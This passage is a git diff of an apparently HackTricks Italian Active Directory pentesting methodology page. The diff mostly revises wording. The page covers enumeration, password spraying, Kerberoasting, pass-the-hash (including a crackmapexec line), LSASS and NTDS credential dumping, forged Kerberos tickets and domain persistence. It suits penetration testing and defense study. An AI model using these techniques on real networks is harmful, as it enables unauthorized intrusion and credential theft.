e gli editori non fanno dichiarazioni o garanzie di alcun tipo, espresse o implicite, riguardo alla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, prodotti, servizi o grafica correlata contenuta in questo libro. Qualsiasi affidamento che poni su tali informazioni è quindi a tuo rischio e pericolo. > > Gli autori e gli editori non saranno in nessun caso responsabili per eventuali perdite o danni, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro. > diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 670480552..332871e99 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -1,4 +1,4 @@ -# Metodologia di Active Directory +# Active Directory Methodology {{#include ../../banners/hacktricks-training.md}} @@ -12,15 +12,15 @@ I concetti chiave all'interno di **Active Directory** includono: 1. **Directory** – Contiene tutte le informazioni relative agli oggetti di Active Directory. 2. **Oggetto** – Denota entità all'interno della directory, inclusi **utenti**, **gruppi** o **cartelle condivise**. -3. **Dominio** – Funziona come contenitore per gli oggetti della directory, con la capacità di più domini di coesistere all'interno di una **foresta**, ciascuno mantenendo la propria raccolta di oggetti. +3. **Dominio** – Funziona come contenitore per gli oggetti della directory, con la possibilità di più domini di coesistere all'interno di una **foresta**, ciascuno mantenendo la propria raccolta di oggetti. 4. **Albero** – Un raggruppamento di domini che condividono un dominio radice comune. 5. **Foresta** – Il culmine della struttura organizzativa in Active Directory, composta da diversi alberi con **relazioni di fiducia** tra di loro. **Active Directory Domain Services (AD DS)** comprende una serie di servizi critici per la gestione centralizzata e la comunicazione all'interno di una rete. Questi servizi comprendono: -1. **Servizi di Dominio** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi **autenticazione** e funzionalità di **ricerca**. +1. **Servizi di Dominio** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi i funzionalità di **autenticazione** e **ricerca**. 2. **Servizi di Certificato** – Supervisiona la creazione, distribuzione e gestione di **certificati digitali** sicuri. -3. **Servizi di Directory Leggeri** – Supporta applicazioni abilitate per directory tramite il **protocollo LDAP**. +3. **Servizi di Directory Leggeri** – Supporta applicazioni abilitate per la directory tramite il **protocollo LDAP**. 4. **Servizi di Federazione della Directory** – Fornisce capacità di **single-sign-on** per autenticare gli utenti attraverso più applicazioni web in una singola sessione. 5. **Gestione dei Diritti** – Aiuta a proteggere il materiale protetto da copyright regolando la sua distribuzione e uso non autorizzati. 6. **Servizio DNS** – Cruciale per la risoluzione dei **nomi di dominio**. @@ -57,7 +57,7 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti: - **Enumerare Ldap** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- Una guida più dettagliata su come enumerare LDAP può essere trovata qui (fai **attenzione speciale all'accesso anonimo**): +- Una guida più dettagliata su come enumerare LDAP può essere trovata qui (fai **particolare attenzione all'accesso anonimo**): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -69,7 +69,7 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti: - Raccogli credenziali **esponendo** [**falsi servizi UPnP con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - Estrai nomi utenti/nomi da documenti interni, social media, servizi (principalmente web) all'interno degli ambienti di dominio e anche da quelli pubblicamente disponibili. -- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nome utente AD** (**[leggi questo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123). +- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nomi utente AD** (**[leggi questo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _CognomeNome_, _Cognome.Nome_, _CognomeN_, _Cognome.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123). - Strumenti: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e questo ([**nomi utente statisticamente probabili**](https://github.com/insidetrust/statistically-likely-usernames)). +> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e in questo ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > > Tuttavia, dovresti avere il **nome delle persone che lavorano nell'azienda** dal passo di ricognizione che avresti dovuto eseguire prima di questo. Con il nome e il cognome potresti usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali nomi utente validi. @@ -111,7 +111,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Ok, quindi sai di avere già un nome utente valido ma nessuna password... Prova: -- [**ASREPRoast**](asreproast.md): Se un utente **non ha** l'attributo _DONT_REQ_PREAUTH_ puoi **richiedere un messaggio AS_REP** per quell'utente che conterrà alcuni dati crittografati da una derivazione della password dell'utente. +- [**ASREPRoast**](asreproast.md): Se un utente **non ha** l'attributo _DONT_REQ_PREAUTH_, puoi **richiedere un messaggio AS_REP** per quell'utente che conterrà alcuni dati crittografati da una derivazione della password dell'utente. - [**Password Spraying**](password-spraying.md): Proviamo le **password più comuni** con ciascuno degli utenti scoperti, forse qualche utente sta usando una password debole (tieni presente la politica delle password!). - Nota che puoi anche **spray i server OWA** per cercare di accedere ai server di posta degli utenti. @@ -141,7 +141,7 @@ Se puoi **accedere ad altri PC o condivisioni** con l'**utente null o guest** po ## Enumerare Active Directory CON credenziali/sessione -Per questa fase devi aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**. +Per questa fase devi avere **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**. Prima di iniziare l'enumerazione autenticata dovresti sapere qual è il **problema del doppio salto Kerberos.** @@ -169,7 +169,7 @@ Per quanto riguarda [**ASREPRoast**](asreproast.md) ora puoi trovare ogni possib - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) - **Estrazione di tutti gli utenti di dominio** -È molto facile ottenere tutti i nomi utente del dominio da Windows (`net user /domain` ,`Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" ` +È molto facile ottenere tutti i nomi utente del dominio da Windows (`net user /domain`, `Get-DomainUser` o `wmic useraccount get name,sid`). In Linux, puoi usare: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` o `enum4linux -a -u "user" -p "password" ` > Anche se questa sezione di Enumerazione sembra piccola, questa è la parte più importante di tutte. Accedi ai link (principalmente quello di cmd, powershell, powerview e BloodHound), impara come enumerare un dominio e pratica finché non ti senti a tuo agio. Durante una valutazione, questo sarà il momento chiave per trovare la tua strada verso DA o per decidere che non si può fare nulla. @@ -185,11 +185,11 @@ kerberoast.md ### Connessione remota (RDP, SSH, FTP, Win-RM, ecc) -Una volta ottenute alcune credenziali potresti controllare se hai accesso a qualche **macchina**. A tal fine, potresti usare **CrackMapExec** per tentare di connetterti a diversi server con diversi protocolli, in base alle tue scansioni delle porte. +Una volta ottenute alcune credenziali, potresti controllare se hai accesso a qualche **macchina**. A tal fine, potresti usare **CrackMapExec** per tentare di connetterti a diversi server con diversi protocolli, in base alle tue scansioni delle porte. ### Escalation dei privilegi locali -Se hai compromesso credenziali o una sessione come utente di dominio regolare e hai **accesso** con questo utente a **qualsiasi macchina nel dominio** dovresti cercare di trovare il modo di **escalare i privilegi localmente e cercare credenziali**. Questo perché solo con privilegi di amministratore locale sarai in grado di **dumpare gli hash di altri utenti** in memoria (LSASS) e localmente (SAM). +Se hai compromesso credenziali o una sessione come utente di dominio regolare e hai **accesso** con questo utente a **qualsiasi macchina nel dominio**, dovresti cercare di trovare il modo di **escalare i privilegi localmente e cercare credenziali**. Questo perché solo con privilegi di amministratore locale sarai in grado di **dumpare gli hash di altri utenti** in memoria (LSASS) e localmente (SAM). C'è una pagina completa in questo libro su [**escalation dei privilegi locali in Windows**](../windows-local-privilege-escalation/) e una [**checklist**](../checklist-windows-privilege-escalation.md). Inoltre, non dimenticare di usare [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). @@ -209,7 +209,7 @@ Se sei riuscito a enumerare l'active directory avrai **più email e una migliore ### **Cerca Credenziali nelle Condivisioni di Computer** -Ora che hai alcune credenziali di base dovresti controllare se puoi **trovare** file **interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente, ma è un compito molto noioso e ripetitivo (e ancora di più se trovi centinaia di documenti che devi controllare). +Ora che hai alcune credenziali di base dovresti controllare se puoi **trovare** file **interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente, ma è un compito molto noioso e ripetitivo (e di più se trovi centinaia di documenti che devi controllare). [**Segui questo link per scoprire gli strumenti che potresti utilizzare.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search) @@ -235,14 +235,14 @@ printnightmare.md ### Estrazione degli Hash -Speriamo tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegi localmente](../windows-local-privilege-escalation/).\ +Speriamo tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalation dei privilegi localmente](../windows-local-privilege-escalation/).\ Poi, è tempo di estrarre tutti gli hash in memoria e localmente.\ [**Leggi questa pagina sui diversi modi per ottenere gli hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Pass the Hash **Una volta che hai l'hash di un utente**, puoi usarlo per **impersonarlo**.\ -Devi usare qualche **strumento** che **eseguirà** l'**autenticazione NTLM utilizzando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno di **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.\ +Devi usare qualche **strumento** che **eseguirà** l'**autenticazione NTLM utilizzando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.\ [**Leggi questa pagina per ulteriori informazioni.**](../ntlm/#pass-the-hash) ### Over Pass the Hash/Pass the Key @@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md ### Pass the Ticket -Nel metodo di attacco **Pass The Ticket (PTT)**, gli attaccanti **rubano il ticket di autenticazione di un utente** invece delle loro password o valori hash. Questo ticket rubato viene poi utilizzato per **impersonare l'utente**, ottenendo accesso non autorizzato a risorse e servizi all'interno di una rete. +Nel metodo di attacco **Pass The Ticket (PTT)**, gli attaccanti **rubano il ticket di autenticazione di un utente** invece dei loro valori di password o hash. Questo ticket rubato viene poi utilizzato per **impersonare l'utente**, ottenendo accesso non autorizzato a risorse e servizi all'interno di una rete. {{#ref}} pass-the-ticket.md @@ -272,36 +272,36 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c > [!WARNING] > Nota che questo è piuttosto **rumoroso** e **LAPS** lo **mitigherà**. -### Abuso di MSSQL e collegamenti fidati +### Abuso di MSSQL e Link Fidati Se un utente ha privilegi per **accedere alle istanze MSSQL**, potrebbe essere in grado di usarlo per **eseguire comandi** nell'host MSSQL (se in esecuzione come SA), **rubare** l'**hash** NetNTLM o persino eseguire un **attacco** di **relay**.\ -Inoltre, se un'istanza MSSQL è fidata (collegamento del database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\ -**I collegamenti tra i database funzionano anche attraverso le fiducia tra foreste.** +Inoltre, se un'istanza MSSQL è fidata (link di database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\ +**I link tra i database funzionano anche attraverso le fiducia tra foreste.** {{#ref}} abusing-ad-mssql.md {{#endref}} -### Delegazione non vincolata +### Delegazione Non Vincolata Se trovi un oggetto Computer con l'attributo [ADS_UF_TRUSTED_FOR_DELEGATION]() e hai privilegi di dominio nel computer, sarai in grado di estrarre i TGT dalla memoria di ogni utente che accede al computer.\ Quindi, se un **Domain Admin accede al computer**, sarai in grado di estrarre il suo TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\ -Grazie alla delegazione vincolata potresti anche **compromettere automaticamente un Print Server** (speriamo che sia un DC). +Grazie alla delegazione vincolata potresti persino **compromettere automaticamente un Print Server** (speriamo che sia un DC). {{#ref}} unconstrained-delegation.md {{#endref}} -### Delegazione vincolata +### Delegazione Vincolata -Se un utente o un computer è autorizzato per la "Delegazione vincolata", sarà in grado di **impersonare qualsiasi utente per accedere a determinati servizi in un computer**.\ -Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere a determinati servizi. +Se un utente o un computer è autorizzato per la "Delegazione Vincolata", sarà in grado di **impersonare qualsiasi utente per accedere ad alcuni servizi in un computer**.\ +Quindi, se **comprometti l'hash** di questo utente/computer sarai in grado di **impersonare qualsiasi utente** (anche gli amministratori di dominio) per accedere ad alcuni servizi. {{#ref}} constrained-delegation.md {{#endref}} -### Delegazione vincolata basata sulle risorse +### Delegazione Vincolata Basata sulle Risorse Avere il privilegio di **SCRITTURA** su un oggetto Active Directory di un computer remoto consente di ottenere l'esecuzione di codice con **privilegi elevati**: @@ -342,7 +342,7 @@ rdp-sessions-abuse.md laps.md {{#endref}} -### Furto di certificati +### Furto di Certificati **Raccogliere certificati** dalla macchina compromessa potrebbe essere un modo per escalare privilegi all'interno dell'ambiente: @@ -350,7 +350,7 @@ laps.md ad-certificates/certificate-theft.md {{#endref}} -### Abuso dei modelli di certificato +### Abuso dei Modelli di Certificato Se sono configurati **modelli vulnerabili**, è possibile abusarne per escalare privilegi: @@ -360,7 +360,7 @@ ad-certificates/domain-escalation.md ## Post-exploitation con account ad alto privilegio -### Dumping delle credenziali di dominio +### Dumping delle Credenziali di Dominio Una volta ottenuti i privilegi di **Domain Admin** o anche meglio di **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_. @@ -368,10 +368,10 @@ Una volta ottenuti i privilegi di **Domain Admin** o anche meglio di **Enterpris [**Maggiori informazioni su come rubare il NTDS.dit possono essere trovate qui**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Privesc come persistenza +### Privesc come Persistenza Alcune delle tecniche discusse in precedenza possono essere utilizzate per la persistenza.\ -Ad esempio, potresti: +Ad esempio potresti: - Rendere gli utenti vulnerabili a [**Kerberoast**](kerberoast.md) @@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### Silver Ticket -L'**attacco Silver Ticket** crea un **biglietto di servizio di concessione legittimo (TGS)** per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi di servizio**. +L'**attacco Silver Ticket** crea un **ticket di Ticket Granting Service (TGS)** legittimo per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi del servizio**. {{#ref}} silver-ticket.md @@ -411,13 +411,13 @@ golden-ticket.md ### Diamond Ticket -Questi sono come i biglietti d'oro forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei biglietti d'oro.** +Questi sono simili ai golden ticket forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei golden ticket.** {{#ref}} diamond-ticket.md {{#endref}} -### **Persistenza dell'account dei certificati** +### **Persistenza dell'Account Certificati** **Avere certificati di un account o essere in grado di richiederli** è un ottimo modo per poter persistere nell'account degli utenti (anche se cambia la password): @@ -425,9 +425,9 @@ diamond-ticket.md ad-certificates/account-persistence.md {{#endref}} -### **Persistenza del dominio dei certificati** +### **Persistenza del Dominio Certificati** -**Utilizzare i certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:** +**Utilizzare certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:** {{#ref}} ad-certificates/domain-persistence.md @@ -437,11 +437,11 @@ ad-certificates/domain-persistence.md L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata da vicino. -[**Maggiori informazioni sul gruppo AdminDSHolder qui.**](privileged-groups-and-token-privileges.md#adminsdholder-group) +[**Maggiori informazioni sul Gruppo AdminDSHolder qui.**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### Credenziali DSRM -All'interno di ogni **Domain Controller (DC)**, esiste un account di **amministratore locale**. Ottenendo diritti di amministratore su tale macchina, l'hash dell'Amministratore locale può essere estratto utilizzando **mimikatz**. Successivamente, è necessaria una modifica del registro per **abilitare l'uso di questa password**, consentendo l'accesso remoto all'account dell'Amministratore locale. +All'interno di ogni **Domain Controller (DC)**, esiste un account di **amministratore locale**. Ottenendo diritti di amministratore su una tale macchina, l'hash dell'Amministratore locale può essere estratto utilizzando **mimikatz**. Successivamente, è necessaria una modifica del registro per **abilitare l'uso di questa password**, consentendo l'accesso remoto all'account dell'Amministratore locale. {{#ref}} dsrm-credentials.md @@ -455,9 +455,9 @@ Potresti **dare** alcuni **privilegi speciali** a un **utente** su alcuni oggett acl-persistence-abuse/ {{#endref}} -### Descrittori di sicurezza +### Descrittori di Sicurezza -I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se riesci a **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato. +I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi semplicemente **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato. {{#ref}} security-descriptors.md @@ -465,7 +465,7 @@ security-descriptors.md ### Skeleton Key -Modifica **LSASS** in memoria per stabilire una **password universale**, concedendo accesso a tutti gli account di dominio. +Alterare **LSASS** in memoria per stabilire una **password universale**, concedendo accesso a tutti gli account di dominio. {{#ref}} skeleton-key.md @@ -498,39 +498,39 @@ Controlla: laps.md {{#endref}} -## Escalation dei privilegi nella foresta - Fiducia tra domini +## Escalation di Privilegi nella Foresta - Fiducia tra Domini Microsoft considera la **Foresta** come il confine di sicurezza. Ciò implica che **compromettere un singolo dominio potrebbe potenzialmente portare alla compromissione dell'intera Foresta**. -### Informazioni di base +### Informazioni di Base Una [**fiducia di dominio**]() è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere alle risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini stabiliscono una fiducia, scambiano e mantengono specifici **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia. -In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un biglietto speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un biglietto di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio. +In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un ticket di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio. **Passaggi**: -1. Un **computer client** in **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**. +1. Un **computer client** nel **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**. 2. DC1 emette un nuovo TGT se il client viene autenticato con successo. -3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse in **Dominio 2**. +3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse nel **Dominio 2**. 4. L'inter-realm TGT è crittografato con una **chiave di fiducia** condivisa tra DC1 e DC2 come parte della fiducia tra domini bidirezionale. -5. Il client porta l'inter-realm TGT al **Domain Controller (DC2) di Dominio 2**. -6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server in Dominio 2 a cui il client desidera accedere. -7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio in Dominio 2. +5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** del Dominio 2. +6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server nel Dominio 2 a cui il client desidera accedere. +7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio nel Dominio 2. ### Diverse fiducia -È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal dominio fidato**. +È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal fidato**. Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello fidato. Inoltre, in **Dominio A**, questo sarebbe una **fiducia in uscita**; e in **Dominio B**, questo sarebbe una **fiducia in entrata**. **Diverse relazioni di fiducia** -- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia bidirezionale transitiva con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio. +- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia transitoria bidirezionale con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio. - **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio di destinazione. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi. -- **Fiducia Esterna**: Queste vengono impostate tra domini diversi e non correlati e sono di natura non transitiva. Secondo [la documentazione di Microsoft](), le fiducia esterne sono utili per accedere alle risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne. -- **Fiducia Tree-root**: Queste fiducia vengono automaticamente stabilite tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](). -- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia bidirezionale transitiva tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza. +- **Fiducia Esterna**: Queste vengono stabilite tra domini diversi e non correlati e sono non transitive per natura. Secondo la [documentazione di Microsoft](), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne. +- **Fiducia Tree-root**: Queste fiducia vengono stabilite automaticamente tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitorietà bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](). +- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia transitoria bidirezionale tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza. - **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows. #### Altre differenze nelle **relazioni di fiducia** @@ -538,7 +538,7 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f - Una relazione di fiducia può anche essere **transitiva** (A si fida di B, B si fida di C, quindi A si fida di C) o **non transitiva**. - Una relazione di fiducia può essere impostata come **fiducia bidirezionale** (entrambi si fidano l'uno dell'altro) o come **fiducia unidirezionale** (solo uno di loro si fida dell'altro). -### Percorso di attacco +### Percorso di Attacco 1. **Enumerare** le relazioni di fiducia 2. Controlla se qualche **principale di sicurezza** (utente/gruppo/computer) ha **accesso** alle risorse dell'**altro dominio**, magari tramite voci ACE o essendo in gruppi dell'altro dominio. Cerca **relazioni tra domini** (la fiducia è stata creata per questo probabilmente). @@ -547,11 +547,11 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f Gli attaccanti potrebbero accedere alle risorse in un altro dominio attraverso tre meccanismi principali: -- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo "Amministratori" su un server, concedendo loro un controllo significativo su quella macchina. +- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo “Amministratori” su un server, concedendo loro un controllo significativo su quella macchina. - **Appartenenza a Gruppi di Domini Esterni**: I principali possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo. - **Liste di Controllo di Accesso (ACL)**: I principali potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa. -### Escalation dei privilegi da figlio a genitore nella 